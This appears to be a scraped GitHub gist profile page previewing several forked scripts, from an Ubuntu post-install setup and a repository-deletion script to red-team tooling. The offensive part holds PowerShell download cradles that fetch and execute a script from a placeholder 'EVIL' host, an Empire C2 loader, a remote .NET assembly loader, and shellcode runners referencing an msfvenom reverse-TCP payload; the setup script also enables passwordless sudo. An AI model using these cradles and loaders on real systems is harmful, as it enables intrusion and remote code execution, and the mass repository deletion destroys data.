Skip to content

Instantly share code, notes, and snippets.

View robpot891's full-sized avatar
🎯
Focusing

robpot891

🎯
Focusing
View GitHub Profile
@robpot891
robpot891 / post-install-mint-ubuntu.sh
Created February 25, 2020 19:42 — forked from thiagomgo/post-install-mint-ubuntu.sh
Post-installation script for Linux Mint/Ubuntu
# Sudo without password
sudo visudo
username ALL=(ALL) NOPASSWD: ALL # At the end of the file
# Get the latest updates
sudo add-apt-repository universe
sudo apt-get update
sudo apt-get -y upgrade
# Manage the repositories that you install
#!/usr/bin/env bash
# Script to reverse engineer the build of a given Debian / Ubuntu server
# I do this all the time: take an existing server, create a Bash / Ansible / Puppet / Chef
# built script, to allow Continuous Depoyment.
# It's tedious, but this script will give you the basics to get started.
# Make sure you have "sudo" access to get all the details.
# setup folders
@robpot891
robpot891 / sedDeleteWord.2File.sh
Created February 14, 2019 05:50
SED - Delete all occurrences word in LIST file into FILE file
#!/bin/bash
#eg.
#bash d2 <(echo -e "1\n2\n3sa ssds\n") <(echo -e "salam 1 OR 2 OR 3sa sss ")
LIST=${1:?"LIST word"}
FILE=${2:?"FILE name not set"}
L=$( sed -e ':a;N;$!ba;s_\n_\x00_g' ${LIST}|sed -e 's_\x00_ \\|_g' -e's_\(\\|\)*$__g')
P='s_\('$L'\)__ig'
@robpot891
robpot891 / delete_all_my_github_repositories.sh
Created December 13, 2018 04:34 — forked from andybeak/delete_all_my_github_repositories.sh
Delete all your github repositories
#!/bin/bash
token="Get from Github"
# Gets a list of the repositories you own (not ones granted through organisation)
curl -H "Authorization: token ${token}" https://api.github.com/user/repos?affiliation=owner | grep git_url | sed -r 's/( "git_url": "git:\/\/github.com\/)//' | sed -r 's/.git",//' > url_list.txt
# Deletes all the repositories it found on the line before
while read r;do curl -XDELETE -H 'Authorization: token ${token}' "https://api.github.com/repos/$r ";done < url_list.txt
rm url_list.txt
@robpot891
robpot891 / DownloadCradles.ps1
Created October 24, 2018 00:52 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@robpot891
robpot891 / empireMod
Created October 15, 2018 16:41 — forked from jymcheong/empireMod
Modified Empire Loader to have both RESTful API & full console
#!/usr/bin/env python
import sqlite3, argparse, sys, argparse, logging, json, string
import os, re, time, signal, copy, base64, pickle
from flask import Flask, request, jsonify, make_response, abort, url_for
from time import localtime, strftime, sleep
from OpenSSL import SSL
from Crypto.Random import random
import ssl
# Empire imports
@robpot891
robpot891 / loadAssembly_method1.ps1
Created October 9, 2018 17:57 — forked from Arno0x/loadAssembly_method1.ps1
Load a .Net assembly dynamically from PowerShell
$Source = @"
using System;
using System.Net;
using System.Reflection;
namespace LoadAssembly {
public static class LoadAssembly {
public static void load() {
WebClient webclient = new WebClient();
IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
if (defaultProxy != null) {
#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#
import argparse
#======================================================================================================
# HELPERS FUNCTIONS
#======================================================================================================
#!/usr/bin/python
# -*- coding: utf8 -*-
# This script executes a Windows shellcode within python process memory.
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#
# Create a windows executable: pyinstaller --onefile --noconsole sample4.py
from ctypes import *
// Compile with: cl.exe shellcode_execute.c
//
// Author: Arno0x0x, Twitter: @Arno0x0x
#include <Windows.h>
int main()
{
// Payload obtained with "msfvenom -a x86 -p windows/shell/reverse_tcp LHOST=192.168.52.134"
unsigned char b[] =